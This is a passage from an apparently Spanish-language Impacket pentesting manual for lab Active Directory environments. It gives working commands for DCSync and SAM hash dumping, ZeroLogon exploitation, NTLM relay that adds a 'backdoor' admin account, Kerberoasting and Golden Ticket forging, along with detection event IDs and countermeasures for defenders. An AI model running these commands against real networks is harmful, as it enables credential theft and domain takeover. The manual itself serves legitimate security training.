# DCSync simula una replicacion de AD para obtener hashes # Requiere privilegios de Domain Admin o derechos de replicacion # DCSync completo contra el DC: python3 secretsdump.py CONTOSO/Administrator:P@ssw0rd@192.168.56.10 # DCSync con Pass-the-Hash: python3 secretsdump.py -hashes ':NTHASH' CONTOSO/Administrator@192.168.56.10 # Solo volcar el usuario krbtgt (para Golden Ticket): python3 secretsdump.py -just-dc-user krbtgt \ CONTOSO/Administrator:P@ssw0rd@192.168.56.10 # Solo volcar los hashes NT (sin LM, mas limpio): python3 secretsdump.py -just-dc-ntlm \ CONTOSO/Administrator:P@ssw0rd@192.168.56.10 # Salida tipica: # [*] Using the DRSUAPI method to get NTDS.DIT secrets # Administrator:500:aad3b435...:a87f3a337d73085c3...::: # krbtgt:502:aad3b435...:9d765b482b2678f4...::: # jdoe:1104:aad3b435...:8846f7eaee8fb117...::: # [*] Kerberos keys grabbed # Administrator: aes256-cts-hmac-sha1-96:...
✅ DCSync extrae los hashes NT de TODOS los usuarios del dominio incluido krbtgt. Con el hash de krbtgt se puede forjar un Golden Ticket.
3
Volcar secretos de archivos extraidosOFFLINE DUMP
secretsdump.py: analisis offline de SAM/SYSTEM extraidos
# Si tienes los archivos SAM, SYSTEM y SECURITY extraidos del registro # (via smbclient, image forense, VSS, etc.): # Descargar via smbclient (ya cubierto anteriormente): # SAM, SYSTEM, SECURITY de C:\Windows\System32\config\ # Analizar offline sin conexion al host: python3 secretsdump.py -sam SAM -system SYSTEM -security SECURITY LOCAL # Salida: mismos hashes NT que el metodo remoto
❓ Ejercicio práctico
Ejecuta DCSync con secretsdump.py contra tu DC de laboratorio. Localiza el hash NT de krbtgt. ¿Cuantos caracteres tiene un NT hash?
💡 Pista: El hash NT es un MD4 de 128 bits representado en hexadecimal.
Ver solución
python3 secretsdump.py CONTOSO/Administrator:P@ssw0rd@192.168.56.10 -just-dc-user krbtgt --- El NT hash siempre tiene exactamente 32 caracteres hexadecimales (128 bits / 4 bits por char). Por ejemplo: 9d765b482b2678f4b4588f58d4e0d55e. Con ese hash puedes forjar un Golden Ticket.
⚠
ZeroLogon — CVE-2020-1472
Vulnerabilidad criptográfica en Netlogon — teoría, verificación y defensa
⚠⚠ ADVERTENCIA CRITICA: ZeroLogon puede dejar el dominio INOPERABLEZeroLogon (CVE-2020-1472) es una vulnerabilidad de severidad CVSS 10.0. El exploit corrompe la contraseña de la cuenta de máquina del DC, lo que puede dejar el dominio completamente inutilizable si no se restaura correctamente. NUNCA ejecutes el exploit destructivo (el que cambia la contraseña) en un entorno real o en un lab sin snapshot previo. Este manual cubre el exploit de verificación (checker) y la teoría completa, pero documentamos por qué el exploit completo solo debe usarse como último recurso y con plan de restauración inmediato.
11
ZeroLogon (CVE-2020-1472)
Protocolo: MS-NRPC (Netlogon) 445/TCP
Vulnerabilidad criptográfica en el protocolo Netlogon — eleva cualquier cuenta a DC
CVSS 10.0

ZeroLogon es una vulnerabilidad crítica descubierta por Tom Tervoort (Secura) en agosto de 2020. Afecta al protocolo MS-NRPC (Netlogon Remote Protocol) y permite a un atacante sin credenciales en la red local comprometer completamente un Domain Controller en segundos.

La razón matemática: Netlogon usa AES-CFB8 para cifrar el challenge de autenticación, pero inicializa el vector IV con todos los bytes a cero. Con esta inicialización, hay una probabilidad de 1/256 de que al cifrar un bloque de 8 bytes de ceros se obtenga también un bloque de ceros. Al hacer aproximadamente 256 intentos enviando un autenticador de ceros, el servidor acepta la autenticación. Una vez autenticado, el protocolo permite cambiar la contraseña de la cuenta de máquina del DC a una cadena vacía.

📊FLUJO DEL ATAQUE ZEROLOGON
PasoAcciónRiesgo
1Enviar ~256 autenticaciones con challenge=0x00...00 hasta que el DC acepteBajo (trfico de red)
2Cambiar la contraseña de la cuenta de maquina del DC a string vacioCRITICO: puede romper el dominio
3Usar secretsdump con pass vacia para volcar NTDS.ditBajo (post-explotacion)
4Restaurar la contraseña de la cuenta de maquinaCRITICO si no se hace, el DC queda inutilizable
1
Comprobar si el DC es vulnerable (SAFE - solo verificacion)SOLO COMPROBACION
Verificar vulnerabilidad ZeroLogon sin explotar
# MODO SEGURO: solo verificar si el DC es vulnerable # Este modo NO cambia nada en el DC # Instalar impacket si no esta: pip3 install impacket # Script de verificacion de Impacket (no destructivo): python3 /usr/share/doc/python3-impacket/examples/zerologon.py DC01 192.168.56.10 # O con el script especifico de ZeroLogon: # git clone https://github.com/SecuraBV/CVE-2020-1472 # python3 zerologon_tester.py DC01 192.168.56.10 # Salida si es VULNERABLE: # Performing authentication attempts... # ================================================ <- Completando 256 intentos # Success! DC can be fully compromised. # Salida si esta PARCHEADO: # Performing authentication attempts... # The DC DC01 appears to be patched.
2
El exploit completo: teoría y riesgos (LAB CON SNAPSHOT OBLIGATORIO)LABORATORIO SOLO
ZeroLogon exploit completo - SOLO en lab con snapshot
# PREREQUISITO ABSOLUTO: # 1. Tomar snapshot del DC antes de explotar # 2. Tener plan de restauracion de la cuenta de maquina # 3. Nunca en produccion # El exploit tiene dos fases: # FASE 1: Autenticar con password vacia y cambiar la clave de maquina del DC # (Impacket no incluye el exploit completo directamente) # Usar el exploit de dirkjanm: # git clone https://github.com/dirkjanm/CVE-2020-1472 # python3 cve-2020-1472-exploit.py DC01 192.168.56.10 # FASE 2: Una vez que la cuenta de maquina tiene password vacia, # volcar NTDS.dit con secretsdump (sin credenciales!): python3 secretsdump.py -no-pass -just-dc 'CONTOSO/DC01$'@192.168.56.10 # FASE 3: RESTAURACION CRITICA (HACER SIEMPRE): # Recuperar el hex de la password original de secretsdump: # [*] $MACHINE.ACC # CONTOSO\DC01$:plain_password_hex:...<HEX_AQUI>... # Restaurar con reinstateaccount: python3 reinstateaccount.py DC01 192.168.56.10 <HEX_PASSWORD_ORIGINAL>
⚠ RESTAURACION OBLIGATORIASi no restauras la contraseña de la cuenta de máquina del DC (DC01$), el Domain Controller quedara desconectado del dominio y todos los servicios de autenticación fallarán. La cuenta de máquina es la credencial que el DC usa para comunicarse con otros DCs y validar tickets Kerberos.
3
Defensa: Parchear y detectar ZeroLogonDEFENSA
Detectar y mitigar ZeroLogon
# PARCHE: aplicar KB4557222 (agosto 2020) o cualquier actualizacion posterior # VERIFICAR si esta parchado (en el DC, PowerShell): Get-HotFix -Id KB4557222 # O ver la version de Windows: Get-ComputerInfo | Select-Object OSDisplayVersion,OsBuildNumber # Build 17763.1432 o superior -> parchado # MONITORIZAR intentos de ZeroLogon: # Event ID 5805 (Netlogon, System log): 'The session setup to computer X failed' # Muchos intentos seguidos = posible ataque ZeroLogon # En Kali, detectar con nmap si el puerto Netlogon esta abierto: nmap -p 445 --script smb-security-mode 192.168.56.10 # Modo de aplicacion completo del parche (habilita el modo de cumplimiento estricto): # HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters # FullSecureChannelProtection = 1 (habilitado en todos los parches post-agosto 2020)
🔁
ntlmrelayx.py — NTLM Relay
Relay de autenticaciones NTLM hacia otros servicios de la red
12
ntlmrelayx.py
Protocolo: SMB / HTTP / LDAP / MSSQL
Relay de autenticaciones NTLM hacia otros servicios — el hombre en el medio de Windows
NTLM RELAY

ntlmrelayx.py captura autenticaciones NTLM de una máquina y las relayá (reenvía) hacia otro servicio de la red. Si el host destino acepta esas credenciales, el atacante obtiene acceso a ese servicio. Se combina habitualmente con Responder (para capturar la autenticación inicial) o Mitm6 (para envenenamiento IPv6). Funciona porque NTLM no incluye el nombre del servidor destino en el challenge, lo que permite el relay.

Condición necesaria: el host destino debe tener SMB Signing deshabilitado (ver el lab de NetExec para identificarlo). Si SMB Signing está habilitado, el relay SMB no funciona porque el servidor puede detectar la manipulación.

1
Configurar Responder + ntlmrelayx (combo clasico)SETUP
Configurar el relay NTLM con Responder y ntlmrelayx
# PASO 1: Deshabilitar SMB y HTTP en Responder (para no capturar, solo envenenar) # Editar /etc/responder/Responder.conf: # SMB = Off # HTTP = Off # PASO 2: Iniciar ntlmrelayx con el objetivo (host sin SMB Signing) # Obtener lista de hosts sin SMB Signing con NetExec: nxc smb 192.168.56.0/24 --gen-relay-list smb_no_signing.txt cat smb_no_signing.txt # Lista de IPs objetivo para relay # PASO 3: Iniciar ntlmrelayx apuntando a los objetivos: python3 ntlmrelayx.py -tf smb_no_signing.txt -smb2support # PASO 4: Iniciar Responder en la interfaz de red: sudo responder -I eth0 -rdw # Cuando un usuario de la red intente acceder a un recurso inexistente, # Responder captura la auth NTLM y ntlmrelayx la reenvía al objetivo
2
ntlmrelayx: modos de ataqueMODOS DE ATAQUE
Diferentes modos de ntlmrelayx
# MODO 1: Volcar SAM automaticamente al hacer relay exitoso: python3 ntlmrelayx.py -tf smb_no_signing.txt -smb2support # -> Cuando el relay funciona, vuelca la SAM automaticamente # MODO 2: Ejecutar un comando en el objetivo: python3 ntlmrelayx.py -tf smb_no_signing.txt -smb2support \ -c 'net user backdoor Password123! /add && net localgroup administrators backdoor /add' # MODO 3: Relay hacia LDAP (crear cuentas, modificar ACLs): python3 ntlmrelayx.py -t ldap://192.168.56.10 \ --delegate-access # Resource-Based Constrained Delegation # MODO 4: Relay hacia HTTP (webservices, Exchange): python3 ntlmrelayx.py -t http://192.168.56.10/ews/exchange.asmx # MODO 5: Modo interactivo (shell SMB): python3 ntlmrelayx.py -tf smb_no_signing.txt -smb2support -i # Cuando conecta, te da una shell SMB interactiva
3
Mitm6 + ntlmrelayx (relay via IPv6)MITM6 VARIANT
Relay IPv6 con mitm6 para entornos con SMB Signing
# mitm6 envenena las respuestas IPv6/DHCPv6 para redirigir trafico # Funciona incluso con SMB Signing habilitado si el relay va hacia LDAP # Instalar mitm6: pip3 install mitm6 # PASO 1: Iniciar mitm6 en la interfaz de red: mitm6 -d contoso.local -i eth0 # PASO 2: ntlmrelayx hacia LDAP del DC (para crear cuentas o RBCD): python3 ntlmrelayx.py \ -6 -t ldaps://192.168.56.10 \ --delegate-access \ --no-smb-server \ --add-computer
❓ Ejercicio práctico
Identifica los hosts de tu laboratorio que tienen SMB Signing deshabilitado. Configura el combo Responder + ntlmrelayx para hacer relay de la siguiente autenticación LLMNR hacia uno de esos hosts. ¿Qué obtiene ntlmrelayx?
💡 Pista: nxc smb RANGO --gen-relay-list lista.txt para identificar objetivos de relay.
Ver solución
1. nxc smb 192.168.56.0/24 --gen-relay-list smb_no_signing.txt --- 2. Editar Responder.conf: SMB=Off, HTTP=Off --- 3. python3 ntlmrelayx.py -tf smb_no_signing.txt -smb2support --- 4. sudo responder -I eth0 --- Cuando un usuario de la red haga una consulta LLMNR, Responder envenenara y ntlmrelayx volcara la SAM del host objetivo automaticamente.
📚
Cheatsheet Completo de Impacket
Referencia rápida de todos los comandos más utilizados
Impacket: Cheatsheet completo de referencia
# ==================== ENUMERACION ==================== # Enumerar usuarios via SAMR (sin credenciales en algunos casos): python3 samrdump.py CONTOSO.LOCAL/jdoe:Password123@192.168.56.10 # Enumerar SIDs y nombres de usuario: python3 lookupsid.py CONTOSO.LOCAL/jdoe:Password123@192.168.56.10 # Enumerar usuarios AD via LDAP: python3 GetADUsers.py -all CONTOSO.LOCAL/jdoe:Password123 -dc-ip 192.168.56.10 # Ver informacion de un usuario especifico: python3 rpcclient.py -U 'CONTOSO/jdoe%Password123' 192.168.56.10 -c 'queryuser 0x1f4' # ==================== EJECUCION REMOTA ==================== # Shell SYSTEM via SMB (mas ruidoso): python3 psexec.py CONTOSO/Administrator:P@ssw0rd@192.168.56.20 # Shell SYSTEM via servicio SMB (sin subir archivo): python3 smbexec.py CONTOSO/Administrator:P@ssw0rd@192.168.56.20 # Shell admin via WMI (sigiloso): python3 wmiexec.py CONTOSO/Administrator:P@ssw0rd@192.168.56.20 # Ejecucion via tarea programada: python3 atexec.py CONTOSO/Administrator:P@ssw0rd@192.168.56.20 whoami # ==================== VOLCADO DE CREDENCIALES ==================== # Volcar SAM + LSA de una maquina: python3 secretsdump.py CONTOSO/Administrator:P@ssw0rd@192.168.56.20 # DCSync: volcar TODOS los hashes del dominio: python3 secretsdump.py CONTOSO/Administrator:P@ssw0rd@192.168.56.10 # DCSync solo para krbtgt: python3 secretsdump.py -just-dc-user krbtgt CONTOSO/Administrator:P@ssw0rd@192.168.56.10 # Offline desde archivos extraidos: python3 secretsdump.py -sam SAM -system SYSTEM -security SECURITY LOCAL # ==================== KERBEROS ==================== # Kerberoasting: python3 GetUserSPNs.py CONTOSO.LOCAL/jdoe:Password123 -dc-ip 192.168.56.10 -request hashcat -m 13100 hashes.txt rockyou.txt # AS-REP Roasting (sin credenciales): python3 GetNPUsers.py CONTOSO.LOCAL/ -usersfile users.txt -dc-ip 192.168.56.10 -format hashcat hashcat -m 18200 asrep.txt rockyou.txt # Golden Ticket: python3 ticketer.py -nthash KRBTGT_HASH -domain-sid DOMAIN_SID -domain CONTOSO.LOCAL Administrator export KRB5CCNAME=Administrator.ccache python3 wmiexec.py -k -no-pass CONTOSO/Administrator@dc01.contoso.local # ==================== PASS-THE-HASH ==================== # PtH en cualquier script de Impacket: python3 SCRIPT.py -hashes ':NTHASH' DOMINIO/Usuario@IP # ==================== VERIFICACION VULNERABILIDADES ==================== # Verificar ZeroLogon (SOLO COMPROBACION, no destructivo): python3 zerologon.py NOMBRE_DC IP_DC # ==================== SMB CLIENT ==================== # Listar y navegar shares: python3 smbclient.py CONTOSO/jdoe:Password123@192.168.56.10 # ==================== REGISTRY ==================== # Leer clave del registro remotamente: python3 reg.py CONTOSO/Administrator:P@ssw0rd@192.168.56.20 query -keyName 'HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion' -v ProductName # ==================== MSSQL ==================== # Conectar a SQL Server con auth Windows: python3 mssqlclient.py -windows-auth CONTOSO/jdoe:Password123@192.168.56.30 # SQL> enable_xp_cmdshell # SQL> xp_cmdshell whoami
🛡
Detección y Defensa contra Impacket
Event IDs clave y contramedidas para cada técnica
🛡DETECCIÓN POR TÉCNICA
Técnica ImpacketEvent IDs claveIndicador
psexec.py7045, 7036, 4688PSEXESVC.exe, servicio efimero aleatorio
smbexec.py7045, 7036Servicio cmd.exe efimero
wmiexec.py4688WMI: Win32_Process.Create desde IP remota
secretsdump (DCSync)4662Replicación LDAP desde IP que no es DC
Kerberoasting4769Muchas peticiones TGS con RC4 encryption
AS-REP Roasting4768Peticiones AS-REQ sin pre-auth
Golden Ticket4768, 4769TGT con life-time inusual (>10h), sin Event 4768 previo
ntlmrelayx4624 Logon Type 3Logon de red desde IP inesperada
ZeroLogon5805 (System)Muchos fallos de sesion Netlogon en segundos
🛡CONTRAMEDIDAS PRINCIPALES
Contramedidas contra técnicas de Impacket
# 1. HABILITAR SMB SIGNING (previene relay NTLM): # GPO: Computer Config -> Policies -> Windows Settings -> Security Settings # -> Local Policies -> Security Options: # 'Microsoft network server: Digitally sign communications (always)' = Enabled # 2. PROTEGER CUENTAS PRIVILEGIADAS: # Activar 'Protected Users' security group para Domain Admins # Los miembros no pueden usar NTLM, solo Kerberos Add-ADGroupMember -Identity 'Protected Users' -Members 'Domain Admins' # 3. CREDENTIAL GUARD (protege LSASS de volcado): # GPO: Device Guard -> Turn On Virtualization Based Security # Requiere UEFI y Secure Boot # 4. PARCHEAR ZEROLOGON: # KB4557222 o cualquier actualizacion posterior a agosto 2020 # Verificar: Get-HotFix -Id KB4557222 # 5. MONITORIZAR DCSYNC: # Alerta en Event ID 4662 con PropertyAccess '1131f6aa...' # Solo los DCs deben replicar el directorio # 6. AUDIT KERBEROS (en el DC): # Habilitar 'Audit Kerberos Service Ticket Operations' # Alerta si Event 4769 tiene Ticket Encryption Type = 0x17 (RC4) # Indica Kerberoasting (debe ser 0x12 = AES256 en entornos modernos)
🏆
MITRE ATT&CK — Mapping de Impacket
Técnicas cubiertas por los scripts de Impacket
TácticaTécnica MITREScript Impacket
Lateral MovementT1021.002 Remote Services: SMB/Windows Admin Sharespsexec, smbexec, smbclient
ExecutionT1047 Windows Management Instrumentationwmiexec
ExecutionT1053.005 Scheduled Taskatexec
Credential AccessT1003.002 OS Credential Dumping: SAMsecretsdump (SAM)
Credential AccessT1003.003 OS Credential Dumping: NTDSsecretsdump (DCSync)
Credential AccessT1558.003 Steal or Forge Kerberos Tickets: KerberoastingGetUserSPNs
Credential AccessT1558.004 AS-REP RoastingGetNPUsers
Lateral MovementT1550.002 Use Alternate Auth Material: Pass the HashTodos (-hashes)
PersistenceT1558.001 Golden Ticketticketer
PersistenceT1558.002 Silver Ticketticketer
Credential AccessT1557.001 NTLM Relayntlmrelayx
Initial AccessT1190 Exploit Public-Facing Application (ZeroLogon)zerologon check
ExecutionT1059.001 PowerShellwmiexec -X, mssqlclient xp_cmdshell
✓ CONCLUSIÓNHas completado el manual de Impacket. Esta suite Python es el motor que impulsa el pentesting moderno de Active Directory: soporta todos los protocolos Microsoft (SMB, WMI, Kerberos, NTLM, MSSQL, LDAP, RPC), permite Pass-the-Hash en todos los scripts, implementa Kerberoasting, AS-REP Roasting y forja de tickets, y tiene herramientas para cada fase del pentest. Es el conocimiento fundamental que requieren las certificaciones OSCP, PNPT, CRTP y CRTO.
✓ Copiado